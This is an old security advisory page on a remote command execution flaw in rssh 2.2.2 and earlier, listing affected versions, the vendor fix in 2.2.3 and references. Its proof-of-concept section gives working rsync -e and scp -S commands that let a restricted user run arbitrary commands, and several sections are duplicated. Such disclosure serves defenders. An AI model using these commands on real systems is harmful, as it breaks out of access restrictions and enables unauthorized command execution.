RSSH Remote Arbitrary Command Execution Vulnerability
BID:11792
Info
RSSH Remote Arbitrary Command Execution Vulnerability
| Bugtraq ID: | 11792 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 02 2004 12:00AM |
| Updated: | Dec 02 2004 12:00AM |
| Credit: | Discovery is credited to Jason Wies <[email protected]>. |
| Vulnerable: |
rssh rssh 2.2.2 rssh rssh 2.2.1 rssh rssh 2.2 rssh rssh 2.1 rssh rssh 2.0 Gentoo Linux |
| Not Vulnerable: | |
Discussion
RSSH Remote Arbitrary Command Execution Vulnerability
rssh is reported prone to a remote arbitrary command execution vulnerability. This issue may allow a remote attacker to execute commands and scripts on a vulnerable computer and eventually allow an attacker to gain elevated privileges on a vulnerable computer.
All versions of rssh are considered vulnerable at the moment.
rssh is reported prone to a remote arbitrary command execution vulnerability. This issue may allow a remote attacker to execute commands and scripts on a vulnerable computer and eventually allow an attacker to gain elevated privileges on a vulnerable computer.
All versions of rssh are considered vulnerable at the moment.
Exploit / POC
RSSH Remote Arbitrary Command Execution Vulnerability
The following proof of concept examples are available:
ssh restricteduser@remotehost 'rsync -e "touch /tmp/example --" localhost:/dev/null /tmp'
scp command.sh restricteduser@remotehost:/tmp/command.sh
ssh restricteduser@remotehost 'scp -S /tmp/command.sh localhost:/dev/null /tmp'
The following proof of concept examples are available:
ssh restricteduser@remotehost 'rsync -e "touch /tmp/example --" localhost:/dev/null /tmp'
scp command.sh restricteduser@remotehost:/tmp/command.sh
ssh restricteduser@remotehost 'scp -S /tmp/command.sh localhost:/dev/null /tmp'
Solution / Fix
RSSH Remote Arbitrary Command Execution Vulnerability
Solution:
Gentoo Linux has released advisory GLSA 200412-01 regarding this issue. Gentoo confirms that they are vulnerable to this issue, but they do not have fixes available at this time.
The vendor has released version 2.2.3 of rssh dealing with this issue.
rssh rssh 2.0
rssh rssh 2.1
rssh rssh 2.2
rssh rssh 2.2.1
rssh rssh 2.2.2
Solution:
Gentoo Linux has released advisory GLSA 200412-01 regarding this issue. Gentoo confirms that they are vulnerable to this issue, but they do not have fixes available at this time.
The vendor has released version 2.2.3 of rssh dealing with this issue.
rssh rssh 2.0
rssh rssh 2.1
rssh rssh 2.2
rssh rssh 2.2.1
rssh rssh 2.2.2
References
RSSH Remote Arbitrary Command Execution Vulnerability
References:
References:
- rssh Product Page (rssh)
- rssh and scponly arbitrary command execution (Jason Wies